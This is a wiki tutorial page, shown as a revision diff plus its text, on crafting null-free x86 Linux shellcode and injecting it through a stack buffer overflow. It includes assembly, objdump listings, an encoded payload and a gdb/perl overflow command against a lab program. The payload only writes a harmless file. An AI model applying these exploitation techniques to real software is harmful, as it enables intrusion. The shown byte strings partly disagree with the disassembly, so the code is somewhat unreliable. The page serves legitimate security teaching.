Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "Deprecated:Null-free shellcode"

From NetSec
Jump to: navigation, search
(Step three: removing the harder nullbytes)
(formalled)
Line 12: Line 12:
  
  
The first step in creating a runnable shellcode is to first create your exploit in pure assembly. This will be the starting blocks that will allow you do develop and mold your exploit into anything you wish without worrying about design and nullbytes at first.
+
The first step in creating a runnable shellcode is to first create the exploit in pure assembly. This will be the starting blocks that will allow development and molding of the exploit into anything desired without worrying about design and nullbytes at first.
  
  
In this article we will be using a 93 byte shellcode that will open a file descriptor and write "this is lol" to a file named "lol" located at "/root/Desktop/". The first step is to create your assembly application as you see fit to later to be turned into runnable shellcode. Here is the example we will be working with.
+
In this article 93 byte shellcode will be used that will open a file descriptor and write "this is lol" to a file named "lol" located at "/root/Desktop/". The first step is to create the assembly application as seen fit to later to be turned into runnable shellcode. Here is the example that will be worked with:
  
  
Line 21: Line 21:
 
.section .data
 
.section .data
 
file:
 
file:
.ascii "/root/Desktop/lol"  #our file destination
+
.ascii "/root/Desktop/lol"  #the file destination
  
 
.section .text
 
.section .text
Line 40: Line 40:
 
pushl $0x20736920
 
pushl $0x20736920
 
pushl $0x73696874            #push 'this is lol\0' backwards onto the stack to be written
 
pushl $0x73696874            #push 'this is lol\0' backwards onto the stack to be written
movl %esp, %ecx              #move the pointer to the beginning of our text to be written
+
movl %esp, %ecx              #move the pointer to the beginning of the text to be written
 
movl $12, %edx              #move the size of the text to be written
 
movl $12, %edx              #move the size of the text to be written
 
int $0x80                    #write the text to the file
 
int $0x80                    #write the text to the file
Line 50: Line 50:
  
  
Here is our basic assembly program that we will turn into our payload for our buffer overflow exploit. As you can see it is very simple and straight forward so far. It is easily manageable and changeable in its current state and this is the stage in which you should make all your design choices. After you created your payload run it through objdump to take a look at its byte code to see what you have to change.
+
Here is the basic assembly program that turn into the payload for the buffer overflow exploit. As can be seen, it is very simple and straight forward so far. It is easily manageable and changeable in its current state and this is the stage in which all the design choices should be made. After the payload is created to run it through objdump to take a look at its byte code to see what changes need to make.
  
  
Line 75: Line 75:
  
  
As you can see this program is riddled with nullbytes which are a shellcodes worst enemy. Nullbytes cause program flow to hault when the target is reading through its stack after returning from the return address you set causing the shellcode to not be ran in its entirety. Another error in this is not of the assemblies fault, but rather the coders. The write path in which the file is to be written to is stored in static memory in the .data section. The reason this is bad design is because the target will not have this string or label in its memory so your shellcode will most likely cause a segmentation fault and will crash your target.
+
As can be seen, this program is riddled with nullbytes which are a shellcodes worst enemy. Nullbytes cause program flow to hault when the target is reading through its stack after returning from the set return address causing the shellcode to not be run in its entirety. Another error in this is not of the assemblies fault, but rather the coders. The write path in which the file is to be written to is stored in static memory in the .data section. The reason this is bad design is because the target will not have this string or label in its memory so the shellcode will most likely cause a segmentation fault and will crash the target.
  
  
In order to fix these we will need to make some design changes as well as instruction changes in order to remove the nullbytes and fix the design problem.
+
In order to fix these, design changes will need to be made as well as instruction changes in order to remove the nullbytes and fix the design problem.
  
  
Line 90: Line 90:
 
xorl %ebx, %ebx
 
xorl %ebx, %ebx
 
xorl %ecx, %ecx
 
xorl %ecx, %ecx
xorl %edx, %edx              #xor all our registers to zero them
+
xorl %edx, %edx              #xor all the registers to zero them
  
 
movl $5, %eax                #move open() to eax
 
movl $5, %eax                #move open() to eax
Line 97: Line 97:
 
pushl $0x6f746b73
 
pushl $0x6f746b73
 
pushl $0x65442f74
 
pushl $0x65442f74
pushl $0x6f6f722f            #push our writing destination backwards in hex onto the stack
+
pushl $0x6f6f722f            #push the writing destination backwards in hex onto the stack
movl %esp, %ebx              #move the pointer to the top of our stack to ebx
+
movl %esp, %ebx              #move the pointer to the top of the stack to ebx
 
movl $03101, %ecx            #some file options
 
movl $03101, %ecx            #some file options
 
movl $0666, %edx            #some file permissions
 
movl $0666, %edx            #some file permissions
Line 108: Line 108:
 
pushl $0x20736920
 
pushl $0x20736920
 
pushl $0x73696874            #push 'this is lol\0' backwards onto the stack to be written
 
pushl $0x73696874            #push 'this is lol\0' backwards onto the stack to be written
movl %esp, %ecx              #move the pointer to the beginning of our text to be written
+
movl %esp, %ecx              #move the pointer to the beginning of the text to be written
 
movl $12, %edx              #move the size of the text to be written
 
movl $12, %edx              #move the size of the text to be written
 
int $0x80                    #write the text
 
int $0x80                    #write the text
Line 118: Line 118:
  
  
In this new example you can see that instead of depending on our static definition of our destination path in the .data section, we have pushed the entire string onto the stack backwards which we then moved a pointer to into the proper register. The reason we changed the design is so that when we exploit the targets buffer our path will now be on the stack so we can access it unlike before. Another change is that we zeroed out all our registers that we will be using. The reason behind this is that you can never tell what a register is set to at the time of exploitation so it is better off to zero them out when you start.
+
In this new example it can be seen that instead of depending on the static definition of the destination path in the .data section, the entire string has been pushed onto the stack backwards which is then moved a pointer to into the proper register. The reason the design was changed is so that when the targets buffer is exploited, the path will now be on the stack so it can be accessed unlike before. Another change is that all the registers have been zeroed out that will be used. The reason behind this is that it can never be told what a register is set to at the time of exploitation,thus it is better off to zero them out when started.
  
  
Lets now create a new objdump of our new code to see what else we have to fix.
+
Create a new objdump of the new code to see what else needs to be fixed:
  
  
Line 155: Line 155:
  
  
As you can see we still have a lot of nullbytes to remove from our code. Removing these can be as easy as changing the instruction in most cases, but in others such as our hex strings which have to be null terminated, we will have to implement a more complicated work around.
+
As can be seen, there still are a lot of nullbytes to remove from the code. Removing these can be as easy as changing the instruction in most cases, but in others such as the hex strings which have to be null terminated, a more complicated work around will need to be implemented.
  
  
Line 165: Line 165:
  
 
xorl %ecx, %ecx
 
xorl %ecx, %ecx
xorl %edx, %edx        #use xor to zero out our registers (removed some we didnt need)
+
xorl %edx, %edx        #use xor to zero out the registers (removed some not required)
  
 
push $0x05              #push 0x05 (single byte to remove the null padding used in longs)
 
push $0x05              #push 0x05 (single byte to remove the null padding used in longs)
 
pop %eax                #pop that value into eax
 
pop %eax                #pop that value into eax
push $0x6c              #push part of our file destination as a byte to remove padding
+
push $0x6c              #push part of the file destination as a byte to remove padding
 
pushl $0x6f6c2f70
 
pushl $0x6f6c2f70
 
pushl $0x6f746b73
 
pushl $0x6f746b73
Line 175: Line 175:
 
pushl $0x6f6f722f
 
pushl $0x6f6f722f
 
movl %esp, %ebx        #move out stack pointer
 
movl %esp, %ebx        #move out stack pointer
xorw $0x0641, %cx      #xor our file options as a word into ecx (ecx is 0 so ecx value would be 641)
+
xorw $0x0641, %cx      #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641)
xorw $0x01b6, %dx      #xor our file permissions as a word into edx (ecx is 0 so edx value would be 1b6)
+
xorw $0x01b6, %dx      #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6)
                         #by using this method of xoring out our nullbytes we can reduce code size as well
+
                         #by using this method of xoring out the nullbytes code size can be reduced as well
 
#as remove the null bytes
 
#as remove the null bytes
 
int $0x80              #execute open()
 
int $0x80              #execute open()
  
movl %eax, %ebx        #move our file handle into ebx for write()
+
movl %eax, %ebx        #move the file handle into ebx for write()
 
push $0x04              #push 0x04
 
push $0x04              #push 0x04
 
pop %eax                #pop it into eax for use in write()
 
pop %eax                #pop it into eax for use in write()
pushl $0x6c6f6c6a      #push part of our null terminated hex string onto the stack
+
pushl $0x6c6f6c6a      #push part of the null terminated hex string onto the stack
 
pop %ecx                #pop it into ecx for modification
 
pop %ecx                #pop it into ecx for modification
 
shr $0x08, %ecx        #shift it to the right by 0x08 to put the nullbyte back into the string without
 
shr $0x08, %ecx        #shift it to the right by 0x08 to put the nullbyte back into the string without
                         #having it directly in our code
+
                         #having it directly in the code
pushl %ecx              #push our modified string back onto the stack
+
pushl %ecx              #push the modified string back onto the stack
 
pushl $0x20736920
 
pushl $0x20736920
 
pushl $0x73696874
 
pushl $0x73696874
movl %esp, %ecx        #move our stack pointer to ecx
+
movl %esp, %ecx        #move the stack pointer to ecx
push $0xb              #push our size of our stack in hex  
+
push $0xb              #push the size of the stack in hex  
 
pop %edx                #pop it back into the proper register
 
pop %edx                #pop it back into the proper register
pushl %ebx              #push our file descriptor onto the stack for the next function
+
pushl %ebx              #push the file descriptor onto the stack for the next function
 
int $0x80              #write the file
 
int $0x80              #write the file
  
pop %ebx                #get our file descriptor back
+
pop %ebx                #get the file descriptor back
 
push $0x06              #push 0x06 to the stack
 
push $0x06              #push 0x06 to the stack
 
pop %eax                #pop it into eax for close()
 
pop %eax                #pop it into eax for close()
int $0x80              #close our file
+
int $0x80              #close the file
  
 
push $0x01              #push exit() onto the stack
 
push $0x01              #push exit() onto the stack
pop %eax                #and put it in our register
+
pop %eax                #and put it in the register
push $0x05              #push our return value of 5
+
push $0x05              #push the return value of 5
 
pop %ebx                #and put it in ebx
 
pop %ebx                #and put it in ebx
 
int $0x80              #and exit
 
int $0x80              #and exit
Line 210: Line 210:
  
  
This code has now been heavily modified from the original to make it smaller in size, to make it run faster, and to make it have no null bytes. There are some complicated techniques used here that will help you bypass the use of nullbytes such as xoring them out or using shift-left or shift-right to put them back into a string while in memory. Using these techniques allows our shellcode to have no nullbytes and to run flawlessly inside our targets stack.
+
This code has now been heavily modified from the original to make it smaller in size, to make it run faster, and to make it have no null bytes. There are some complicated techniques used here that will help bypass the use of nullbytes such as xoring them out or using shift-left or shift-right to put them back into a string while in memory. Using these techniques allows the shellcode to have no nullbytes and to run flawlessly inside the targets stack.
  
  
It is time to do a final objdump to make sure all the nullbytes are gone and to make sure everything else is ok with our code. It will also give us our final bytecode dump that we will clean up to produce a functioning shellcode.
+
It is time to do a final objdump to make sure all the nullbytes are gone and to make sure everything else is ok with the code. It will also give the final bytecode dump that will be cleaned up to produce a functioning shellcode.
  
  
Line 258: Line 258:
 
    
 
    
  
Everything appears to look okay so lets clean this objdump up and turn it into some real shellcode by removing all excess data except for the bytecode. Once you have striped away the line numbers and assembly instructions you can then add "\x" in front of every byte instruction like so.
+
Everything appears to look okay so clean this objdump up and turn it into some real shellcode by removing all excess data except for the bytecode. Once the line markets and assembly instructions have been stripped away, add "\x" in front of every byte instruction like so.
 
    
 
    
  
Line 264: Line 264:
 
   
 
   
  
This is what our final shellcode will look like. It is 93 bytes long and writes a file named "lol" to the desktop of /root/ and exits with the return value of 5.
+
This is what the final shellcode will look like. It is 93 bytes long and writes a file named "lol" to the desktop of /root/ and exits with the return value of 5.
  
 
== Successful Overflow Test ==
 
== Successful Overflow Test ==
  
  
To use this shellcode you can either use perl or ruby to aid you in adding the correct number of NOPS for the buffer at hand. In this case we are working with a 100 byte buffer with EIP located at 116. So that means that we should minus our shellcode from 116 which is 23 and then minus 4 for the return address which is 19. That means you must pad your shellcode with 19 NOPS in order for your return address to overwrite the EIP of the targets buffer.
+
To use this shellcode either use perl or ruby to aid in adding the correct number of NOPS for the buffer at hand. In this case, a 100 byte buffer with EIP located at 116 is being used. So that means that the shellcode should be subtracted from 116 which is 23 and then minus 4 for the return address which is 19. That means the shellcode must be padded with 19 NOPS in order for the return address to overwrite the EIP of the targets buffer.
  
  
Line 283: Line 283:
  
  
Be aware that when using perl or ruby to test your exploits you need to include double quotations around the whole command or else they will output \x20 as white space and your shellcode will be divided up and will break down.
+
Be aware that when using perl or ruby to test the exploits to include double quotations around the whole command or else it will output \x20 as white space and the shellcode will be divided up and will break down.

Revision as of 04:21, 12 May 2012

Introduction

Shellcode Shellcode is built upon the foundation of buffer overflow. Familiarization with the concept of buffer overflows is required to successfully create shellcode.

A buffer overflow is when a user mistakenly or not inputs more data then a buffer is meant to contain and without any proper bounds checking the program forces everything put into the buffer overwriting various assembly registers. The purpose of this attack is to fit shellcode inside the buffer along with enough NOPS to allow the return pointer located in EIP to be rewritten. When the return pointer is successfully rewritten, the program can then be forced to start at the beginning of the code on it's stack and make it do what ever the code specifies.

The first step of identifying a buffer overflow is to check for segmentation faults. This usually is a sure sign of a buffer over flow because the buffer is breached, allowing the return address to be overwriten and when the return address is changed to an address outside the scope of the program it will segfault.


Step one: Designing

The first step in creating a runnable shellcode is to first create the exploit in pure assembly. This will be the starting blocks that will allow development and molding of the exploit into anything desired without worrying about design and nullbytes at first.


In this article 93 byte shellcode will be used that will open a file descriptor and write "this is lol" to a file named "lol" located at "/root/Desktop/". The first step is to create the assembly application as seen fit to later to be turned into runnable shellcode. Here is the example that will be worked with:


 
.section .data
file:
.ascii "/root/Desktop/lol"   #the file destination
 
.section .text
 
.global _start:
 
_start:
 
movl $5, %eax                #move open() to eax
movl $file, %ebx             #move file destination
movl $03101, %ecx            #some file options
movl $0666, %edx             #some file permissions
int $0x80                    #send interrupt to obtain a file descriptor
 
movl %eax, %ebx              #move the file descriptor to ebx for the write() call
movl $4, %eax                #move the write() call to eax
pushl $0x006c6f6c
pushl $0x20736920
pushl $0x73696874            #push 'this is lol\0' backwards onto the stack to be written
movl %esp, %ecx              #move the pointer to the beginning of the text to be written
movl $12, %edx               #move the size of the text to be written
int $0x80                    #write the text to the file
 
movl $1, %eax                #move exit() to eax
movl $5, %edx                #move the return value of 5 to edx
int $0x80                    #exit
 


Here is the basic assembly program that turn into the payload for the buffer overflow exploit. As can be seen, it is very simple and straight forward so far. It is easily manageable and changeable in its current state and this is the stage in which all the design choices should be made. After the payload is created to run it through objdump to take a look at its byte code to see what changes need to make.


 root@ducks:~/Desktop# objdump -d p2.o
 p2.o:     file format elf32-i386
 Disassembly of section .text:
 00000000 <_start>:
  0:   b8 05 00 00 00          mov    $0x5,%eax
  5:   bb 00 00 00 00          mov    $0x0,%ebx
  a:   b9 41 06 00 00          mov    $0x641,%ecx
  f:   ba b6 01 00 00          mov    $0x1b6,%edx
 14:   cd 80                   int    $0x80
 16:   89 c3                   mov    %eax,%ebx
 18:   b8 04 00 00 00          mov    $0x4,%eax
 1d:   68 6c 6f 6c 00          push   $0x6c6f6c
 22:   68 20 69 73 20          push   $0x20736920
 27:   68 74 68 69 73          push   $0x73696874
 2c:   89 e1                   mov    %esp,%ecx
 2e:   ba 0c 00 00 00          mov    $0xc,%edx
 33:   cd 80                   int    $0x80
 35:   b8 01 00 00 00          mov    $0x1,%eax
 3a:   ba 05 00 00 00          mov    $0x5,%edx
 3f:   cd 80                   int    $0x80


As can be seen, this program is riddled with nullbytes which are a shellcodes worst enemy. Nullbytes cause program flow to hault when the target is reading through its stack after returning from the set return address causing the shellcode to not be run in its entirety. Another error in this is not of the assemblies fault, but rather the coders. The write path in which the file is to be written to is stored in static memory in the .data section. The reason this is bad design is because the target will not have this string or label in its memory so the shellcode will most likely cause a segmentation fault and will crash the target.


In order to fix these, design changes will need to be made as well as instruction changes in order to remove the nullbytes and fix the design problem.


Step two: revamping and removing nullbytes

 
_start:
 
xorl %eax, %eax
xorl %ebx, %ebx
xorl %ecx, %ecx
xorl %edx, %edx              #xor all the registers to zero them
 
movl $5, %eax                #move open() to eax
pushl $0x0000006c
pushl $0x6f6c2f70
pushl $0x6f746b73
pushl $0x65442f74
pushl $0x6f6f722f            #push the writing destination backwards in hex onto the stack
movl %esp, %ebx              #move the pointer to the top of the stack to ebx
movl $03101, %ecx            #some file options
movl $0666, %edx             #some file permissions
int $0x80                    #send interrupt to obtain a file descriptor
 
movl %eax, %ebx              #move the file descriptor to ebx for the write() call
movl $4, %eax                #move the write() call to eax
pushl $0x006c6f6c
pushl $0x20736920
pushl $0x73696874            #push 'this is lol\0' backwards onto the stack to be written
movl %esp, %ecx              #move the pointer to the beginning of the text to be written
movl $12, %edx               #move the size of the text to be written
int $0x80                    #write the text
 
movl $1, %eax                #move exit() to eax
movl $5, %edx                #move the return value of 5 to edx
int $0x80                    #exit
 


In this new example it can be seen that instead of depending on the static definition of the destination path in the .data section, the entire string has been pushed onto the stack backwards which is then moved a pointer to into the proper register. The reason the design was changed is so that when the targets buffer is exploited, the path will now be on the stack so it can be accessed unlike before. Another change is that all the registers have been zeroed out that will be used. The reason behind this is that it can never be told what a register is set to at the time of exploitation,thus it is better off to zero them out when started.


Create a new objdump of the new code to see what else needs to be fixed:


 root@ducks:~/Desktop# objdump -d p2.o
 p2.o:     file format elf32-i386
 Disassembly of section .text:
 00000000 <_start>:
  0:   31 c0                   xor    %eax,%eax
  2:   31 db                   xor    %ebx,%ebx
  4:   31 c9                   xor    %ecx,%ecx
  6:   31 d2                   xor    %edx,%edx
  8:   b8 05 00 00 00          mov    $0x5,%eax
  d:   6a 6c                   push   $0x6c
  f:   68 70 2f 6c 6f          push   $0x6f6c2f70
 14:   68 73 6b 74 6f          push   $0x6f746b73
 19:   68 74 2f 44 65          push   $0x65442f74
 1e:   68 2f 72 6f 6f          push   $0x6f6f722f
 23:   89 e3                   mov    %esp,%ebx
 25:   b9 41 06 00 00          mov    $0x641,%ecx
 2a:   ba b6 01 00 00          mov    $0x1b6,%edx
 2f:   cd 80                   int    $0x80
 31:   89 c3                   mov    %eax,%ebx
 33:   b8 04 00 00 00          mov    $0x4,%eax
 38:   68 6c 6f 6c 00          push   $0x6c6f6c
 3d:   68 20 69 73 20          push   $0x20736920
 42:   68 74 68 69 73          push   $0x73696874
 47:   89 e1                   mov    %esp,%ecx
 49:   ba 0c 00 00 00          mov    $0xc,%edx
 4e:   cd 80                   int    $0x80
 50:   b8 01 00 00 00          mov    $0x1,%eax
 55:   ba 05 00 00 00          mov    $0x5,%edx
 5a:   cd 80                   int    $0x80


As can be seen, there still are a lot of nullbytes to remove from the code. Removing these can be as easy as changing the instruction in most cases, but in others such as the hex strings which have to be null terminated, a more complicated work around will need to be implemented.


Step three: removing the harder nullbytes

 
_start:
 
xorl %ecx, %ecx
xorl %edx, %edx         #use xor to zero out the registers (removed some not required)
 
push $0x05              #push 0x05 (single byte to remove the null padding used in longs)
pop %eax                #pop that value into eax
push $0x6c              #push part of the file destination as a byte to remove padding
pushl $0x6f6c2f70
pushl $0x6f746b73
pushl $0x65442f74
pushl $0x6f6f722f
movl %esp, %ebx         #move out stack pointer
xorw $0x0641, %cx       #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641)
xorw $0x01b6, %dx       #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6)
                        #by using this method of xoring out the nullbytes code size can be reduced as well
			#as remove the null bytes
int $0x80               #execute open()
 
movl %eax, %ebx         #move the file handle into ebx for write()
push $0x04              #push 0x04
pop %eax                #pop it into eax for use in write()
pushl $0x6c6f6c6a       #push part of the null terminated hex string onto the stack
pop %ecx                #pop it into ecx for modification
shr $0x08, %ecx         #shift it to the right by 0x08 to put the nullbyte back into the string without
                        #having it directly in the code
pushl %ecx              #push the modified string back onto the stack
pushl $0x20736920
pushl $0x73696874
movl %esp, %ecx         #move the stack pointer to ecx
push $0xb               #push the size of the stack in hex 
pop %edx                #pop it back into the proper register
pushl %ebx              #push the file descriptor onto the stack for the next function
int $0x80               #write the file
 
pop %ebx                #get the file descriptor back
push $0x06              #push 0x06 to the stack
pop %eax                #pop it into eax for close()
int $0x80               #close the file
 
push $0x01              #push exit() onto the stack
pop %eax                #and put it in the register
push $0x05              #push the return value of 5
pop %ebx                #and put it in ebx
int $0x80               #and exit
 


This code has now been heavily modified from the original to make it smaller in size, to make it run faster, and to make it have no null bytes. There are some complicated techniques used here that will help bypass the use of nullbytes such as xoring them out or using shift-left or shift-right to put them back into a string while in memory. Using these techniques allows the shellcode to have no nullbytes and to run flawlessly inside the targets stack.


It is time to do a final objdump to make sure all the nullbytes are gone and to make sure everything else is ok with the code. It will also give the final bytecode dump that will be cleaned up to produce a functioning shellcode.


 root@ducks:~/Desktop# objdump -d p2.o
 p2.o:     file format elf32-i386
 Disassembly of section .text:
 00000000 <_start>:
  0:   31 c9                   xor    %ecx,%ecx
  2:   31 d2                   xor    %edx,%edx
  7:   6a 05                   push   $0x5
  9:   58                      pop    %eax
  a:   6a 6c                   push   $0x6c
  c:   68 70 2f 6c 6f          push   $0x6f6c2f70
 11:   68 73 6b 74 6f          push   $0x6f746b73
 16:   68 74 2f 44 65          push   $0x65442f74
 1b:   68 2f 72 6f 6f          push   $0x6f6f722f
 20:   89 e3                   mov    %esp,%ebx
 22:   66 81 f1 41 06          xor    $0x641,%cx
 27:   66 81 f2 b6 01          xor    $0x1b6,%dx
 2c:   cd 80                   int    $0x80
 2e:   89 c3                   mov    %eax,%ebx
 30:   6a 04                   push   $0x4
 32:   58                      pop    %eax
 33:   68 6a 6c 6f 6c          push   $0x6c6f6c6a
 38:   59                      pop    %ecx
 39:   c1 e9 08                shr    $0x8,%ecx
 3c:   51                      push   %ecx
 3d:   68 20 69 73 20          push   $0x20736920
 42:   68 74 68 69 73          push   $0x73696874
 47:   89 e1                   mov    %esp,%ecx
 49:   6a 0b                   push   $0xb
 4b:   5a                      pop    %edx
 4c:   53                      push   %ebx
 4d:   cd 80                   int    $0x80
 4f:   5b                      pop    %ebx
 50:   6a 06                   push   $0x6
 52:   58                      pop    %eax
 53:   cd 80                   int    $0x80
 55:   6a 01                   push   $0x1
 57:   58                      pop    %eax
 58:   6a 05                   push   $0x5
 5a:   5b                      pop    %ebx
 5b:   cd 80                   int    $0x80
 

Everything appears to look okay so clean this objdump up and turn it into some real shellcode by removing all excess data except for the bytecode. Once the line markets and assembly instructions have been stripped away, add "\x" in front of every byte instruction like so.


 \x31\xc9\x31\xd2\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80

This is what the final shellcode will look like. It is 93 bytes long and writes a file named "lol" to the desktop of /root/ and exits with the return value of 5.

Successful Overflow Test

To use this shellcode either use perl or ruby to aid in adding the correct number of NOPS for the buffer at hand. In this case, a 100 byte buffer with EIP located at 116 is being used. So that means that the shellcode should be subtracted from 116 which is 23 and then minus 4 for the return address which is 19. That means the shellcode must be padded with 19 NOPS in order for the return address to overwrite the EIP of the targets buffer.


c3el4.png This shellcode was tested on bof.c.


 root@ducks:~/Desktop# gdb -q ./bof
 Reading symbols from /root/Desktop/bof...done.
 (gdb) r "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`"
 Starting program: /root/Desktop/bof "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`"
 Program exited with code 05.
 (gdb)


Be aware that when using perl or ruby to test the exploits to include double quotations around the whole command or else it will output \x20 as white space and the shellcode will be divided up and will break down.